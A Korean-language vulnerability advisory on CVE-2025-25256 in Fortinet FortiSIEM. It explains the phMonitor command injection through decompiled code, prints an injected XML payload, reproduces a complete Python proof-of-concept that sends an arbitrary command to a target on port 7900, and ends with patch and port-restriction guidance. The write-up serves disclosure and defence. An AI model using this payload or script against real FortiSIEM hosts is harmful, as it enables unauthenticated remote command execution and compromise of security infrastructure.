1. FortiSIEM
- Fortinet에서 제공하는 보안 정보 및 이벤트 관리(SIEM) 솔루션 [1]
2. CVE-2025-25256

- FortiSIEM의 phMonitor 서비스에서 특수문자 처리가 부적절하여 발생하는 OS 명령 실행 취약점 (CVSS: 9.8)
영향받는 버전
- FortiSIEM 5.4 모든 버전
- FortiSIEM 6.1, 6.2, 6.3, 6.4, 6.5, 6.6 모든 버전
- FortiSIEM 6.7.0 ~ 6.7.9
- FortiSIEM 7.0.0 ~ 7.0.3
- FortiSIEM 7.1.0 ~ 7.1.7
- FortiSIEM 7.2.0 ~ 7.2.5
- FortiSIEM 7.3.0 ~ 7.3.1
- FortiSIEM의 phMonitor 서비스는 FortiSIEM 프로세스의 상태를 모니터링하는 역할을 수행 [3]
> C++ 바이너리 형태로 구현되어 있으며, TCP 포트 7900번에서 TLS 기반의 사용자 정의 RPC 프로토콜을 사용하여 수신 대기
> AppSvr에서 전달된 작업을 Supervisor의 여러 프로세스와 Worker의 phMonitor에 분배하고, phMonitor는 이를 다시 Worker 노드의 각 프로세스에 전달
Monitors the health of FortiSIEM processes. Distributes tasks from AppSvr to various processes on Supervisor and to phMonitor on Worker for further dustribution to processes on Worker nodes.
- 취약점은 phMonitor 서비스의 handleStorageArchiveRequest()에서 사용자 입력에 대한 부적절한 검증으로 인해 발생
> 내부적으로 addParaSafe()를 사용하나, 해당 함수는 입력 내용이 주변 리터럴 문자열에서 벗어나는 것을 방지하기 위해 따옴표를 이스케이프 처리 (유효성 검증을 제대로 수행하지 않음)
__int64 __fastcall phMonitorProcess::handleStorageArchiveRequest(
phMonitorProcess *event_id,
int a2,
unsigned int a3,
void *a4,
const char *a5,
void *a6,
phSockStream *a7)
{
[..SNIP..]
phSockStream::send_n(a7, &v99, 4u, 0, 0);
logMessageWithSeverity(
"phMonitorProcess.cpp",
11547,
128,
(unsigned int)PH_TASK_FAILED,
"Failed to handle storage request: cannot get process");
goto LABEL_26;
}
v84 = *((_DWORD *)v85 + 260);
if ( (unsigned int)(v84 - 1) > 1 ) // [1] Check if process type is Super (1) or Worker (2)
{
v99 = 303;
phSockStream::send_n(a7, &v99, 4u, 0, 0);
logMessageWithSeverity(
"phMonitorProcess.cpp",
11558,
128,
(unsigned int)PH_TASK_FAILED,
"handleStorageArchiveRequest can only run on Super or Worker");
goto LABEL_26;
}
if ( !a6 ) // [2] Check if data was provided
{
**v99 = 304;
phSockStream::send_n(a7, &v99, 4u, 0, 0);
logMessageWithSeverity("phMonitorProcess.cpp", 11565, 128, (unsigned int)PH_MONITOR_NOTIFICATION_CMD_EMPTY, v41);
goto LABEL_26;
}
v76 = v115;
v115[0] = &v116;
v115[1] = 0;
v116 = 0;
std::string::_M_replace(v115, 0, 0, a6, v8);
v102 = 0;
v101 = (char *)&`vtable for'phBaseXmlParser + 16;
v103 = (char *)&`vtable for'XmlParserErrorHandler + 16;
v75 = (phBaseXmlParser *)&v101;
v11 = phBaseXmlParser::parseXml((phBaseXmlParser *)&v101, v115[0], v8); // [3] Parse the received XML data
if ( !v11 )
{
v99 = 305;
phSockStream::send_n(a7, &v99, 4u, 0, 0);
logMessageWithSeverity("phMonitorProcess.cpp", 11577, 128, (unsigned int)PH_UNABLE_PARSE_XML, v48);
goto LABEL_90;
}
v12 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v11 + 104LL))(v11);
v13 = v12;
if ( !v12 )
{
v99 = 305;
phSockStream::send_n(a7, &v99, 4u, 0, 0);
logMessageWithSeverity("phMonitorProcess.cpp", 11586, 128, (unsigned int)PH_UNABLE_PARSE_XML, v42);
LABEL_90:
v23 = 0;
goto LABEL_75;
}
v117[1] = 0;
v70 = v117;
v117[0] = &v118;
v118 = 0;
phBaseXmlParser::getNodeValue(v12, "scope", v117); // [4] Extract 'scope' element from XML
LOBYTE(is_scope_local) = (unsigned int)std::string::compare(v117, "local") != 0;
Instance = phConfigurations::getInstance((phConfigurations *)v117);
v86 = v134;
std::string::basic_string<std::allocator<char>>(v134, phConstants::PH_CONFIG_MODULE_GLOBAL);
[..SNIP..]
phBaseXmlParser::getNodeValue(v13, "archive_storage_type", &archive_storage_type); // [5] Extract 'archive_storage_type' from XML
if ( !(unsigned int)std::string::compare(&archive_storage_type, "hdfs") ) // [6] Check if storage type is HDFS
{
std::string::assign(v153, "hdfs");
goto LABEL_36;
}
if ( (unsigned int)std::string::compare(&archive_storage_type, "nfs") ) // [7] Check if storage type is NFS
{
v99 = 306;
phSockStream::send_n(a7, &v99, 4u, 0, 0);
logMessageWithSeverity(
"phMonitorProcess.cpp",
11733,
128,
(unsigned int)PH_MONITOR_STORAGE_TYPE_UNKNOWN,
archive_storage_type);
v23 = 0;
goto LABEL_98;
}
v124 = 0;
v63 = &archive_nfs_server_ip;
archive_nfs_server_ip = v125;
v64 = &archive_nfs_archive_dir;
v125[0] = 0;
archive_nfs_archive_dir = v128;
v127 = 0;
v128[0] = 0;
if ( (unsigned int)phBaseXmlParser::getNodeValue(v13, "archive_nfs_server_ip", &archive_nfs_server_ip) != -1 && v124 ) // [8] Extract NFS server IP from XML
{
if ( (unsigned int)phBaseXmlParser::getNodeValue(v13, "archive_nfs_archive_dir", &archive_nfs_archive_dir) == -1 // [9] Extract NFS archive directory from XML
|| !v127 )
{
std::string::assign(v113, "archive nfs mount_point missing");
}
}
else
{
std::string::assign(v113, "archive nfs server_ip missing");
}
if ( !(unsigned int)std::string::compare(v113, "success") ) // [10] Check if both NFS parameters were successfully extracted
{
std::string::assign(v153, "nfs");
std::string::_M_assign(v155, &archive_nfs_server_ip);
std::string::_M_assign(v157, &archive_nfs_archive_dir);
std::string::basic_string<std::allocator<char>>(&requested_time, storage_script); // [11] Set script path (/opt/phoenix/deployment/jumpbox/datastore.py)
std::string::basic_string<std::allocator<char>>(&v111, "nfs"); // [12] Set storage type parameter
v50 = "test";
if ( (_DWORD)event_id != 91 ) // [13] Determine operation type: "test" or "save"
v50 = "save";
std::string::basic_string<std::allocator<char>>(&v112, v50);
v105.tv_sec = 0;
v105.tv_nsec = 0;
v106 = 0;
v62 = operator new(0x60u);
v105.tv_sec = v62;
v106 = v62 + 96;
v72 = (_QWORD *)v62;
p_requested_time = (void **)&requested_time;
v65 = (__syscall_slong_t)v113;
do
{
*v72 = v72 + 2;
std::string::_M_construct<char *>(v72, *p_requested_time, (char *)p_requested_time[1] + (_QWORD)*p_requested_time);
p_requested_time += 4;
v72 += 4;
}
while ( p_requested_time != v113 );
v105.tv_nsec = (__syscall_slong_t)v72;
ShellCmd::ShellCmd(&v129); // [14] Initialize shell command object
std::vector<std::string>::~vector(&v105);
v87 = (__int64)&requested_time;
v51 = a6;
v52 = v113;
do
{
v52 -= 4;
if ( *v52 != v52 + 2 )
operator delete(*v52);
}
while ( v52 != (void **)&requested_time );
a6 = v51;
LODWORD(v87) = (_DWORD)event_id;
ShellCmd::addParaSafe(&v129, &archive_nfs_server_ip); // [15] Add NFS server IP as parameter
ShellCmd::addParaSafe(&v129, &archive_nfs_archive_dir); // [16] Add NFS archive directory as parameter
std::string::basic_string<std::allocator<char>>(v134, " \\t\\r\\n\\v'");
v71 = v132;
std::string::basic_string<std::allocator<char>>(v132, "archive");
ShellCmd::addPara(&v129, v132, v134); // [17] Add "archive" parameter
if ( v132[0] != v133 )
operator delete(v132[0]);
if ( (_BYTE *)v134[0] != v135 )
operator delete(v134[0]);
LOBYTE(requested_time.tv_sec) = 0;
ShellCmd::str[abi:cxx11](v134, &v129); // [18] Build the complete command string
phMiscUtils::do_system_cancellable( // [19] Execute the system command
v134[0],
(const char *)&requested_time,
(bool *)&dword_0 + 1,
0,
(unsigned int)&v98,
0,
v62);
[1] 현재 phMonitor 프로세스가 Supervisor 모드인지 Worker 모드인지 확인
[2] a2가 NULL 포인터가 아닌지 확인 (a2는 함수에 전달되는 데이터를 가지는 힙 버퍼)
[3] 제공된 XML 형식의 데이터를 phBaseXmlParser::parseXml()을 통해 파싱
[4] XML에서 <scope> 요소의 값을 추출하고, 값이 local인지 확인
[5] XML에서 <archive_storage_type> 요소의 값을 추출
[6] <archive_storage_type> 값이 hdfs이면 실행 중지
[7] <archive_storage_type> 값이 nfs이면 계속 실행
[8] XML에서 <archive_nfs_server_ip> 추출
[9] XML에서 <archive_nfs_archive_dir> 추출
[10] archive_nfs_server_ip와 archive_nfs_archive_dir가 모두 존재하는지 확인
[11] /opt/phoenix/deployment/jumpbox/datastore.py 문자열을 포함하는 std::basic_string 객체를 생성 (실행될 명령의 첫 번째 인자)
[12] 저장소 유형 인자를 nfs로 설정
[13] PktType 값 (90 또는 91)에 따라 저장소 동작을 test 또는 save로 설정
[14] ShellCmd::ShellCmd() 객체를 인스턴스화
[15] 안전하지 않은 ShellCmd::addParaSafe를 사용하여 archive_nfs_server_ip를 인자로 추가
[16] 안전하지 않은 ShellCmd::addParaSafe를 사용하여 archive_nfs_archive_dir를 인자로 추가
[17] 마지막 인자로 리터럴 문자열 "archive"를 추가
[18] 최종 명령 문자열 빌드
[19] 명령 실행
- 위 내용을 모두 만족하는 XML 페이로드 및 실제 FortiSIEM에서 실행되는 명령은 다음과 같음
[XML 페이로드]
<root>
<archive_storage_type>nfs</archive_storage_type>
<archive_nfs_server_ip>127.0.0.1</archive_nfs_server_ip>
<archive_nfs_archive_dir>/nfs1</archive_nfs_archive_dir>
<scope>local</scope>
</root>
[실행 명령]
/opt/phoenix/deployment/jumpbox/datastore.py nfs test 127.0.0.1 /nfs1 archive
- 공격자는 다음과 같은 XML 페이로드를 사용해 취약점 악용 가능
[XML 페이로드]
<root>
<archive_storage_type>nfs</archive_storage_type>
<archive_nfs_server_ip>127.0.0.1</archive_nfs_server_ip>
<archive_nfs_archive_dir>`touch${IFS}/tmp/boom`</archive_nfs_archive_dir>
<scope>local</scope>
</root>
[실행 명령]
/opt/phoenix/deployment/jumpbox/datastore.py nfs test 127.0.0.1 touch${IFS}/tmp/boom archive
2.1 PoC
- PktType 및 <archive_storage_type> 값을 각각 90 및 nfs로 설정하며, <archive_nfs_archive_dir> 값을 악성 명령으로 설정 [4]
import ssl
import argparse
import socket
def build_message(payload):
header_values = [
90,
len(payload),
1075724911,
0
]
header = b''.join(val.to_bytes(4, byteorder='little') for val in header_values)
return header + payload.encode()
XML_TEMPLATE = """
<root>
<archive_storage_type>nfs</archive_storage_type>
<archive_nfs_server_ip>127.0.0.1</archive_nfs_server_ip>
<archive_nfs_archive_dir>`{peanut}`</archive_nfs_archive_dir>
<scope>local</scope>
</root>
"""
def exploit(target, xml_payload):
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((target, 7900)) as sock:
with context.wrap_socket(sock, server_hostname=target) as ssock:
message = build_message(xml_payload)
ssock.sendall(message)
print("[+] Packet Sent! ^-^")
try:
response = ssock.recv(1024)
except Exception:
print("[!] Something went wrong!")
banner = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
watchTowr-vs-FortiSIEM-CVE-2025-25256.py
(*) FortiSIEM Unauthenticated Remote Command Execution Detection Artifact Generator
- Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2025-25256]
"""
print(banner)
parser = argparse.ArgumentParser(description="Detection Artifact Generator for CVE-2025-25256")
parser.add_argument('-r', '--target', required=True, help='Target IP address')
parser.add_argument('-c', '--command', required=False, default="peanutioc", help='Command to execute')
args = parser.parse_args()
c = args.command.replace(' ', '${IFS}')
xml_payload = XML_TEMPLATE.format(peanut=c)
exploit(args.target, xml_payload)
3. 대응방안
- 벤더사 제공 업데이트 적용 [5][6][7]
> ShellCmd::addParaSafe 함수를 ShellCmd::addHostnameOrIpParam과 ShellCmd::addDiskPathParam으로 변경
| 취약점 | 제품명 | 영향받는 버전 | 해결 버전 |
| CVE-2025-25256 | FortiSIEM | 7.3.0 이상 ~ 7.3.1 이하 | 7.3.2 이상 |
| 7.2.0 이상 ~ 7.2.5 이하 | 7.2.6 이상 | ||
| 7.1.0 이상 ~ 7.1.7 이하 | 7.1.8 이상 | ||
| 7.0.0 이상 ~ 7.0.3 이하 | 7.0.4 이상 | ||
| 6.7.0 이상 ~ 6.7.9 이하 | 6.7.10 이상 | ||
| 6.6 모든 버전 | 고정 릴리즈로 마이그레이션 (7.4 이상, 7.3.2 이상, 7.2.6 이상, 7.1.8 이상 , 7.0.4 이상, 6.7.10 이상) |
||
| 6.5 모든 버전 | |||
| 6.4 모든 버전 | |||
| 6.3 모든 버전 | |||
| 6.2 모든 버전 | |||
| 6.1 모든 버전 | |||
| 5.4 모든 버전 |
- 즉각적인 업데이트가 불가할 경우
> TCP 포트 7900에 대한 엄격한 액세스 제어 구현
4. 참고
[1] https://www.fortinet.com/kr/products/siem/fortisiem
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-25256
[3] https://help.fortinet.com/fsiem/6-7-6/Online-Help/HTML5_Help/Viewing_Cloud_Health.htm?ref=labs.watchtowr.com
[4] https://github.com/watchtowrlabs/watchTowr-vs-FortiSIEM-CVE-2025-25256?ref=labs.watchtowr.com
[5] https://fortiguard.fortinet.com/psirt/FG-IR-25-152
[6] https://docs.fortinet.com/document/fortisiem/7.4.0/fortisiem-os-update-procedure/574280/fortisiem-os-update-procedure
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71841&menuNo=205020
[8] https://cybersecuritynews.com/fortinet-fortisiem-command-injection-vulnerability/
[9] https://thehackernews.com/2025/08/fortinet-warns-about-fortisiem.html
[10] https://arcticwolf.com/resources/blog/cve-2025-25256















